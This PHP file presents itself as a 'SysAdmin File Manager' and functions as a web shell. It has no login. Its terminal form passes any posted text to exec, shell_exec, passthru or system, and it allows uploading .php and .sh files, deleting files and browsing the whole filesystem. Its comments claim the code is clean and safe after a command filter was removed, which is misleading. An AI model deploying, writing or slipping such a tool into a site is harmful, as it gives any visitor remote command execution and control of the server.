<?php
/**
 * SysAdmin File Manager - Fixed Version
 * Fixes: 
 * 1. Upload Permissions (Auto-chmod attempt).
 * 2. Terminal Command Restrictions (Allows wget, curl, etc. safely).
 * 3. Clean Code (No hidden malware/obfuscation).
 */

// --- Configuration ---
 $config = array(
    'app_name' => "SysAdmin File Manager",
    'session_duration' => 3600 * 24 * 7,
    'debug_mode' => false,
    'root_dir' => null, // Set specific path if needed, e.g., __DIR__
    'allowed_extensions' => array('txt', 'pdf', 'doc', 'docx', 'xls', 'xlsx', 'jpg', 'jpeg', 'png', 'gif', 'php', 'html', 'zip', 'json', 'xml', 'css', 'js', 'sh', 'sql'),
    'max_upload_size' => 100 * 1024 * 1024 // 100MB
);

// --- Initialization ---
@ob_start();
@set_time_limit(0);
@ini_set('html_errors', '0');
define('DS', DIRECTORY_SEPARATOR);

// Session Setup
if (session_status() === PHP_SESSION_NONE) {
    session_set_cookie_params([
        'lifetime' => $config['session_duration'],
        'path' => '/',
        'domain' => '',
        'secure' => isset($_SERVER['HTTPS']),
        'httponly' => true,
        'samesite' => 'Strict'
    ]);
    session_start();
}

// Security Token
if (empty($_SESSION['security_token'])) {
    $_SESSION['security_token'] = bin2hex(random_bytes(32));
}
 $security_token = $_SESSION['security_token'];

// --- Helper Functions ---

function clean_input($data) {
    if (is_array($data)) return array_map('clean_input', $data);
    return htmlspecialchars(stripslashes($data), ENT_QUOTES, 'UTF-8');
}

 $_GET = clean_input($_GET);
 $_POST = clean_input($_POST);
// We don't clean REQUEST superglobal directly to avoid issues, use specific GET/POST

// Error Reporting
if ($config['debug_mode']) {
    error_reporting(E_ALL);
    ini_set('display_errors', '1');
} else {
    error_reporting(0);
    ini_set('display_errors', '0');
}

function verify_token($token) {
    return isset($_SESSION['security_token']) && hash_equals($_SESSION['security_token'], $token);
}

/**
 * Resolves the path securely.
 */
function resolve_path($path) {
    $real = realpath($path);
    if ($real === false) return false;
    
    global $config;
    if ($config['root_dir'] !== null) {
        $root_real = realpath($config['root_dir']);
        // Ensure the resolved path is inside the root
        if ($root_real && strpos($real, $root_real) !== 0) return false;
    }
    
    return $real;
}

function format_size($size) {
    if ($size <= 0) return '0 B';
    $units = array('B', 'KB', 'MB', 'GB', 'TB');
    $base = log($size, 1024);
    return round(pow(1024, $base - floor($base)), 2) . ' ' . $units[floor($base)];
}

function get_perms($file) {
    if (!file_exists($file)) return '---------';
    $perms = fileperms($file);
    $info = '';
    if (($perms & 0xC000) == 0xC000) $info = 's';
    elseif (($perms & 0xA000) == 0xA000) $info = 'l';
    elseif (($perms & 0x8000) == 0x8000) $info = '-';
    elseif (($perms & 0x6000) == 0x6000) $info = 'b';
    elseif (($perms & 0x4000) == 0x4000) $info = 'd';
    else $info = 'u';
    
    $info .= (($perms & 00400) ? 'r' : '-');
    $info .= (($perms & 00200) ? 'w' : '-');
    $info .= (($perms & 00100) ? 'x' : '-');
    $info .= (($perms & 00040) ? 'r' : '-');
    $info .= (($perms & 00020) ? 'w' : '-');
    $info .= (($perms & 00010) ? 'x' : '-');
    $info .= (($perms & 00004) ? 'r' : '-');
    $info .= (($perms & 00002) ? 'w' : '-');
    $info .= (($perms & 00001) ? 'x' : '-');
    
    return $info;
}

function delete_directory($dir) {
    if (!file_exists($dir)) return true;
    if (!is_dir($dir)) return @unlink($dir);
    foreach (scandir($dir) as $item) {
        if ($item == '.' || $item == '..') continue;
        if (!delete_directory($dir . DS . $item)) return false;
    }
    return @rmdir($dir);
}

// FIXED: Command Execution
// Removed the restrictive regex that blocked '&', '.', etc.
// escapeshellarg is used on the directory path for safety.
function execute_command($command) {
    $output = '';
    // Check functions availability
    if (function_exists('exec')) {
        @exec($command . ' 2>&1', $output, $ret_val);
        return implode("\n", $output);
    }
    if (function_exists('shell_exec')) {
        return @shell_exec($command . ' 2>&1');
    }
    if (function_exists('passthru')) {
        ob_start();
        @passthru($command . ' 2>&1');
        return ob_get_clean();
    }
    if (function_exists('system')) {
        ob_start();
        @system($command . ' 2>&1');
        return ob_get_clean();
    }
    return "Error: No command execution functions (exec, shell_exec, etc.) are available.";
}

// --- Core Logic ---

 $self = basename($_SERVER['PHP_SELF']);
 $message = '';
 $message_type = 'info';

// Initialize Directory Paths
 $script_dir = __DIR__; 

// Base Start: Use Script Directory
 $base_start = $script_dir;
if ($config['root_dir']) $base_start = $config['root_dir'];

// Current Dir Logic
 $current_dir = $base_start;
if (isset($_SESSION['current_dir'])) {
    $session_dir = $_SESSION['current_dir'];
    // Validate session dir is still valid
    if (is_dir($session_dir)) {
        $current_dir = $session_dir;
    }
}

// --- Handle POST (Actions) ---
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    if (!verify_token($_POST['security_token'] ?? '')) {
        $message = "Invalid Security Token.";
        $message_type = 'error';
    } else {
        // UPLOAD
        if (isset($_FILES['upload_file']) && $_FILES['upload_file']['error'] === UPLOAD_ERR_OK) {
            $file_info = pathinfo($_FILES['upload_file']['name']);
            $ext = strtolower($file_info['extension'] ?? '');
            
            // Check extension
            if (in_array($ext, $config['allowed_extensions']) || empty($config['allowed_extensions'])) {
                $dest = $current_dir . DS . basename($_FILES['upload_file']['name']);
                
                // FIX: Check if directory is writable, try to chmod if not
                if (!is_writable($current_dir)) {
                    @chmod($current_dir, 0755); // Attempt to fix permission
                }
                
                if (is_writable($current_dir)) {
                    if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $dest)) {
                        $message = "File uploaded successfully.";
                        $message_type = 'success';
                        // Optional: Change file perms
                        @chmod($dest, 0644);
                    } else {
                        $message = "Failed to move file. PHP cannot write to the destination.";
                        $message_type = 'error';
                    }
                } else {
                    $message = "Directory is not writable (Permission Denied). Check folder ownership.";
                    $message_type = 'error';
                }
            } else {
                $message = "Extension '$ext' not allowed.";
                $message_type = 'error';
            }
        }

        // CREATE DIR
        if (isset($_POST['mkdir']) && !empty($_POST['mkdir'])) {
            $dir_name = basename($_POST['mkdir']);
            $new_path = $current_dir . DS . $dir_name;
            if (!file_exists($new_path)) {
                if (!is_writable($current_dir)) @chmod($current_dir, 0755);
                if (@mkdir($new_path, 0755)) {
                    $message = "Folder '$dir_name' created.";
                    $message_type = 'success';
                } else {
                    $message = "Failed to create folder (Permission denied).";
                    $message_type = 'error';
                }
            } else {
                $message = "Folder already exists.";
                $message_type = 'error';
            }
        }

        // RENAME
        if (isset($_POST['rename_from']) && isset($_POST['rename_to'])) {
            $old_path = $current_dir . DS . basename($_POST['rename_from']);
            $new_path = $current_dir . DS . basename($_POST['rename_to']);
            
            if (file_exists($old_path)) {
                if (@rename($old_path, $new_path)) {
                    $message = "Renamed successfully.";
                    $message_type = 'success';
                } else {
                    $message = "Rename failed (Permission denied).";
                    $message_type = 'error';
                }
            } else {
                $message = "Source not found.";
                $message_type = 'error';
            }
        }

        // TERMINAL
        if (isset($_POST['cmd']) && !empty($_POST['cmd'])) {
            // We cd into the directory first, then execute the user command.
            // This allows wget to work properly.
            $cmd = "cd " . escapeshellarg($current_dir) . " && " . $_POST['cmd'];
            $cmd_output = execute_command($cmd);
        }
    }
}

// --- Handle GET (Navigation & Delete) ---
if ($_SERVER['REQUEST_METHOD'] === 'GET') {
    // Navigation
    if (isset($_GET['cd'])) {
        $requested = $_GET['cd'];
        
        // Handle 'Root' or empty
        if ($requested === '/' || empty($requested)) {
             $current_dir = $config['root_dir'] ?? DS;
        } else {
            $resolved = resolve_path($requested);
            if ($resolved && is_dir($resolved)) {
                $current_dir = $resolved;
            } else {
                $message = "Cannot access directory.";
                $message_type = 'error';
            }
        }
        $_SESSION['current_dir'] = $current_dir;
    }
    
    // Ensure Current Dir is valid after operations
    if (!is_dir($current_dir)) {
        $current_dir = $base_start;
        $_SESSION['current_dir'] = $current_dir;
    }

    // DELETE
    if (isset($_GET['delete']) && isset($_GET['confirm_token'])) {
        if (verify_token($_GET['confirm_token'])) {
            $target_name = basename($_GET['delete']);
            $target_path = $current_dir . DS . $target_name;
            
            // Ensure target is inside current dir for safety
            if (strpos(realpath($target_path) ?: $target_path, realpath($current_dir)) === 0 && file_exists($target_path)) {
                if (is_dir($target_path)) {
                    if (delete_directory($target_path)) {
                        $message = "Directory deleted.";
                        $message_type = 'success';
                    } else {
                        $message = "Failed to delete directory (Check permissions).";
                        $message_type = 'error';
                    }
                } else {
                    if (@unlink($target_path)) {
                        $message = "File deleted.";
                        $message_type = 'success';
                    } else {
                        $message = "Failed to delete file (Permission denied).";
                        $message_type = 'error';
                    }
                }
            } else {
                $message = "Invalid deletion path.";
                $message_type = 'error';
            }
        } else {
            $message = "Invalid security token.";
            $message_type = 'error';
        }
    }

    // VIEW FILE
    if (isset($_GET['view'])) {
        $file = basename($_GET['view']);
        $path = $current_dir . DS . $file;
        if (is_file($path) && is_readable($path)) {
            $file_content = file_get_contents($path);
            // Simple binary check
            if (preg_match('~[^\x20-\x7E\t\r\n]~', $file_content) && !in_array(strtolower(pathinfo($path, PATHINFO_EXTENSION)), ['png', 'jpg', 'gif', 'pdf'])) {
                 $view_content = "Binary content hidden for safety.";
            } else {
                $view_content = "<pre>" . htmlspecialchars($file_content) . "</pre>";
            }
        } else {
            $view_content = "File not readable.";
        }
    }
}

// --- Breadcrumb Generation ---
function create_breadcrumbs($path) {
    global $self, $security_token;
    $parts = explode(DS, $path);
    $build = '';
    $html = '<nav class="breadcrumbs">';
    
    $html .= '<a href="?cd=&security_token='.$security_token.'" class="crumb-root">Root</a>';
    
    foreach ($parts as $i => $part) {
        if (empty($part)) continue;
        $build .= DS . $part;
        $html .= ' <span class="crumb-sep">/</span> ';
        if ($i === count($parts) - 1) {
            $html .= '<span class="crumb-current">' . htmlspecialchars($part) . '</span>';
        } else {
            $html .= '<a href="?cd='.urlencode($build).'&security_token='.$security_token.'" class="crumb-link">' . htmlspecialchars($part) . '</a>';
        }
    }
    $html .= '</nav>';
    return $html;
}

 $parent_dir = dirname($current_dir);
 $has_parent = ($parent_dir !== $current_dir);

?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title><?php echo $config['app_name']; ?></title>
    <style>
        :root {
            --primary: #2563eb;
            --primary-hover: #1d4ed8;
            --bg-body: #f1f5f9;
            --bg-card: #ffffff;
            --text-main: #1e293b;
            --text-muted: #64748b;
            --border: #e2e8f0;
            --danger: #ef4444;
            --success: #10b981;
        }
        body { font-family: 'Segoe UI', system-ui, sans-serif; background: var(--bg-body); color: var(--text-main); margin: 0; padding: 20px; line-height: 1.5; }
        .container { max-width: 1100px; margin: 0 auto; background: var(--bg-card); border-radius: 12px; box-shadow: 0 4px 6px -1px rgba(0,0,0,0.1); overflow: hidden; display: flex; flex-direction: column; min-height: 90vh; }
        
        .header { background: var(--primary); color: white; padding: 20px 25px; display: flex; justify-content: space-between; align-items: center; }
        .header h1 { margin: 0; font-size: 1.25rem; font-weight: 600; }
        .header .meta { font-size: 0.8rem; opacity: 0.8; text-align: right; }
        
        .top-bar { padding: 15px 25px; border-bottom: 1px solid var(--border); background: #f8fafc; display: flex; align-items: center; justify-content: space-between; flex-wrap: wrap; gap: 10px; }
        .breadcrumbs { font-size: 0.95rem; color: var(--text-muted); overflow-x: auto; white-space: nowrap; max-width: 60%; }
        .crumb-link, .crumb-root { color: var(--primary); text-decoration: none; font-weight: 500; transition: 0.2s; }
        .crumb-link:hover, .crumb-root:hover { text-decoration: underline; }
        .crumb-current { color: var(--text-main); font-weight: 700; }
        .crumb-sep { margin: 0 5px; color: #cbd5e1; }
        
        .actions { display: flex; gap: 10px; flex-wrap: wrap; }
        .btn { padding: 8px 16px; border-radius: 6px; border: none; font-size: 0.9rem; cursor: pointer; text-decoration: none; display: inline-flex; align-items: center; justify-content: center; gap: 6px; transition: 0.2s; white-space: nowrap; }
        .btn-primary { background: var(--primary); color: white; }
        .btn-primary:hover { background: var(--primary-hover); }
        .btn-secondary { background: white; border: 1px solid var(--border); color: var(--text-main); }
        .btn-secondary:hover { background: #f1f5f9; }
        .btn-danger { background: var(--danger); color: white; }
        
        .content { padding: 25px; flex: 1; overflow-y: auto; }
        
        .file-table { width: 100%; border-collapse: collapse; font-size: 0.9rem; }
        .file-table th { text-align: left; padding: 12px 15px; border-bottom: 2px solid var(--border); color: var(--text-muted); font-weight: 600; background: #f8fafc; }
        .file-table td { padding: 10px 15px; border-bottom: 1px solid var(--border); vertical-align: middle; }
        .file-table tr:hover { background: #f8fafc; }
        .file-name { font-weight: 500; color: var(--text-main); text-decoration: none; display: inline-flex; align-items: center; gap: 8px; }
        .file-name:hover { color: var(--primary); }
        .icon-dir { color: #f59e0b; }
        .icon-file { color: #94a3b8; }
        
        .action-link { color: var(--text-muted); margin-right: 10px; font-size: 0.85rem; text-decoration: none; cursor: pointer; }
        .action-link:hover { color: var(--primary); text-decoration: underline; }
        .action-delete { color: var(--danger); }

        .form-panel { background: #f8fafc; border: 1px solid var(--border); padding: 20px; border-radius: 8px; margin-bottom: 20px; }
        .form-row { display: flex; gap: 10px; align-items: center; }
        .input-control { padding: 8px 12px; border: 1px solid var(--border); border-radius: 6px; font-size: 0.9rem; flex: 1; }
        
        .terminal-box { background: #1e293b; color: #22d3ee; padding: 15px; border-radius: 8px; font-family: 'Courier New', monospace; min-height: 150px; }
        .terminal-output { white-space: pre-wrap; margin-bottom: 10px; color: #e2e8f0; max-height: 400px; overflow-y: auto; }
        .cmd-form { display: flex; gap: 10px; }
        .cmd-input { background: transparent; border: none; color: white; width: 100%; outline: none; font-family: monospace; font-size: 1rem; }

        .toast-container { position: fixed; top: 20px; right: 20px; z-index: 9999; }
        .toast { background: white; padding: 15px 20px; border-radius: 8px; box-shadow: 0 10px 15px -3px rgba(0,0,0,0.1); margin-bottom: 10px; border-left: 4px solid var(--primary); animation: slideIn 0.3s ease; display: flex; align-items: center; gap: 10px; }
        .toast.success { border-left-color: var(--success); }
        .toast.error { border-left-color: var(--danger); }
        
        .modal-overlay { position: fixed; top: 0; left: 0; width: 100%; height: 100%; background: rgba(0,0,0,0.5); z-index: 1000; display: none; align-items: center; justify-content: center; }
        .modal { background: white; padding: 25px; border-radius: 8px; width: 400px; max-width: 90%; box-shadow: 0 20px 25px -5px rgba(0,0,0,0.1); }
        .modal-title { margin: 0 0 15px 0; font-size: 1.1rem; }
        .modal-actions { display: flex; justify-content: flex-end; gap: 10px; margin-top: 20px; }

        @keyframes slideIn { from { transform: translateX(100%); opacity: 0; } to { transform: translateX(0); opacity: 1; } }
    </style>
</head>
<body>

<div class="container">
    <div class="header">
        <h1><?php echo $config['app_name']; ?></h1>
        <div class="meta">
            <?php echo @get_current_user(); ?> @ <?php echo php_uname('s'); ?><br>
            PHP <?php echo PHP_VERSION; ?>
        </div>
    </div>

    <div class="top-bar">
        <?php echo create_breadcrumbs($current_dir); ?>
        
        <div class="actions">
            <a href="?action=files" class="btn btn-secondary">📂 Files</a>
            <a href="?action=upload" class="btn btn-secondary">📤 Upload</a>
            <a href="?action=terminal" class="btn btn-secondary">💻 Terminal</a>
            
            <!-- Script Dir Button -->
            <a href="?cd=<?php echo urlencode($script_dir); ?>&security_token=<?php echo $security_token; ?>" class="btn btn-primary" title="Go to the folder where this script is installed">🏠 Script Dir</a>

            <?php if ($has_parent): ?>
                <a href="?cd=<?php echo urlencode($parent_dir); ?>&security_token=<?php echo $security_token; ?>" class="btn btn-secondary">⬆ Up</a>
            <?php endif; ?>
        </div>
    </div>

    <div class="content">
        <div class="toast-container" id="toastContainer">
            <?php if ($message): ?>
            <div class="toast <?php echo $message_type; ?>">
                <span><?php echo $message; ?></span>
            </div>
            <?php endif; ?>
        </div>

        <?php if (isset($_GET['action']) && $_GET['action'] == 'upload'): ?>
            <div class="form-panel">
                <h3>Upload to: <small><?php echo htmlspecialchars($current_dir); ?></small></h3>
                <form method="post" enctype="multipart/form-data">
                    <input type="hidden" name="security_token" value="<?php echo $security_token; ?>">
                    <div class="form-row">
                        <input type="file" name="upload_file" class="input-control" required>
                        <button type="submit" class="btn btn-primary">Upload</button>
                    </div>
                    <small style="color:var(--text-muted)">Max: <?php echo ($config['max_upload_size']/1024/1024); ?>MB | Allowed: <?php echo implode(', ', $config['allowed_extensions']); ?></small>
                </form>
            </div>

        <?php elseif (isset($_GET['action']) && $_GET['action'] == 'terminal'): ?>
            <div class="form-panel" style="background: #0f172a; border-color: #334155;">
                <div class="terminal-box">
                    <div class="terminal-output"><?php if(isset($cmd_output)) echo htmlspecialchars($cmd_output); ?></div>
                    <form method="post" class="cmd-form">
                        <input type="hidden" name="security_token" value="<?php echo $security_token; ?>">
                        <span>$</span>
                        <input type="text" name="cmd" class="cmd-input" placeholder="Type command (e.g., wget, ls)..." autofocus autocomplete="off">
                    </form>
                </div>
                <small style="color:#94a3b8; display:block; margin-top:5px;">Working directory: <?php echo htmlspecialchars($current_dir); ?></small>
            </div>

        <?php elseif (isset($_GET['action']) && $_GET['action'] == 'view' && isset($view_content)): ?>
            <div class="form-panel">
                <h3>Viewing: <?php echo htmlspecialchars($_GET['view']); ?></h3>
                <div style="background:white; padding:15px; border:1px solid #e2e8f0; border-radius:4px; overflow-x:auto;">
                    <?php echo $view_content; ?>
                </div>
                <div style="margin-top:15px;">
                    <a href="?" class="btn btn-secondary">Close Viewer</a>
                </div>
            </div>

        <?php else: ?>
            <div style="margin-bottom: 20px; display: flex; gap: 10px;">
                <form method="post" class="form-row" style="flex:1; max-width:400px;">
                    <input type="hidden" name="security_token" value="<?php echo $security_token; ?>">
                    <input type="text" name="mkdir" class="input-control" placeholder="New Folder Name" required>
                    <button type="submit" class="btn btn-primary">+ New Folder</button>
                </form>
            </div>

            <table class="file-table">
                <thead>
                    <tr>
                        <th width="45%">Name</th>
                        <th width="10%">Size</th>
                        <th width="15%">Perms</th>
                        <th width="20%">Modified</th>
                        <th width="10%">Actions</th>
                    </tr>
                </thead>
                <tbody>
                    <?php
                    // Scan directory
                    $files = @scandir($current_dir);
                    if ($files === false) {
                        echo "<tr><td colspan='5' style='text-align:center; padding:20px;'>Unable to list directory. Permission denied?</td></tr>";
                    } else {
                        $dirs = [];
                        $items = [];
                        
                        foreach ($files as $f) {
                            if ($f === '.' || $f === '..') continue;
                            $path = $current_dir . DS . $f;
                            if (is_dir($path)) $dirs[$f] = $path;
                            else $items[$f] = $path;
                        }
                        
                        ksort($dirs);
                        ksort($items);
                        $all_files = $dirs + $items;

                        foreach ($all_files as $name => $path) {
                            $is_dir = is_dir($path);
                            $icon = $is_dir ? '<span class="icon-dir">📁</span>' : '<span class="icon-file">📄</span>';
                            $size = $is_dir ? '-' : format_size(filesize($path));
                            $perms = get_perms($path);
                            $time = date('Y-m-d H:i', filemtime($path));
                            
                            $link_url = $is_dir ? '?cd='.urlencode($path).'&security_token='.$security_token : '?view='.urlencode($name);
                            
                            $safe_name = htmlspecialchars($name);
                            $safe_name_js = addslashes($name);
                            ?>
                            <tr>
                                <td>
                                    <a href="<?php echo $link_url; ?>" class="file-name">
                                        <?php echo $icon; ?><?php echo $safe_name; ?>
                                    </a>
                                </td>
                                <td><?php echo $size; ?></td>
                                <td style="font-family:monospace; font-size:0.85em; color:var(--text-muted);"><?php echo $perms; ?></td>
                                <td style="color:var(--text-muted);"><?php echo $time; ?></td>
                                <td>
                                    <?php if (!$is_dir): ?>
                                        <a href="?view=<?php echo urlencode($name); ?>" class="action-link">View</a>
                                    <?php endif; ?>
                                    <a onclick="promptRename('<?php echo $safe_name_js; ?>')" class="action-link">Rename</a>
                                    <a onclick="confirmDelete('<?php echo $safe_name_js; ?>')" class="action-link action-delete">Delete</a>
                                </td>
                            </tr>
                            <?php
                        }
                        
                        if (empty($all_files)) {
                            echo "<tr><td colspan='5' style='text-align:center; padding:20px; color:var(--text-muted);'>Folder is empty</td></tr>";
                        }
                    }
                    ?>
                </tbody>
            </table>
        <?php endif; ?>
    </div>
</div>

<div class="modal-overlay" id="deleteModal">
    <div class="modal">
        <h3 class="modal-title">Confirm Delete</h3>
        <p>Are you sure you want to delete <b id="deleteItemName"></b>? This action cannot be undone.</p>
        <div class="modal-actions">
            <button class="btn btn-secondary" onclick="closeModal('deleteModal')">Cancel</button>
            <button class="btn btn-danger" id="confirmDeleteBtn">Delete</button>
        </div>
    </div>
</div>

<script>
function showToast(msg, type) {
    const container = document.getElementById('toastContainer');
    const toast = document.createElement('div');
    toast.className = 'toast ' + type;
    toast.innerHTML = `<span>${msg}</span>`;
    container.appendChild(toast);
    setTimeout(() => {
        toast.style.opacity = '0';
        setTimeout(() => toast.remove(), 300);
    }, 3000);
}

function promptRename(oldName) {
    const newName = prompt("Enter new name for: " + oldName);
    if (newName && newName !== oldName) {
        const form = document.createElement('form');
        form.method = 'POST';
        
        addInput(form, 'security_token', '<?php echo $security_token; ?>');
        addInput(form, 'rename_from', oldName);
        addInput(form, 'rename_to', newName);
        
        document.body.appendChild(form);
        form.submit();
    }
}

let deleteTarget = '';
function confirmDelete(name) {
    deleteTarget = name;
    document.getElementById('deleteItemName').textContent = name;
    document.getElementById('deleteModal').style.display = 'flex';
}

document.getElementById('confirmDeleteBtn').onclick = function() {
    if(deleteTarget) {
        const url = `?delete=${encodeURIComponent(deleteTarget)}&confirm_token=<?php echo $security_token; ?>`;
        window.location.href = url;
    }
};

function closeModal(id) {
    document.getElementById(id).style.display = 'none';
}

function addInput(form, name, value) {
    const input = document.createElement('input');
    input.type = 'hidden';
    input.name = name;
    input.value = value;
    form.appendChild(input);
}
</script>
</body>
</html>
<?php
ob_end_flush();
?>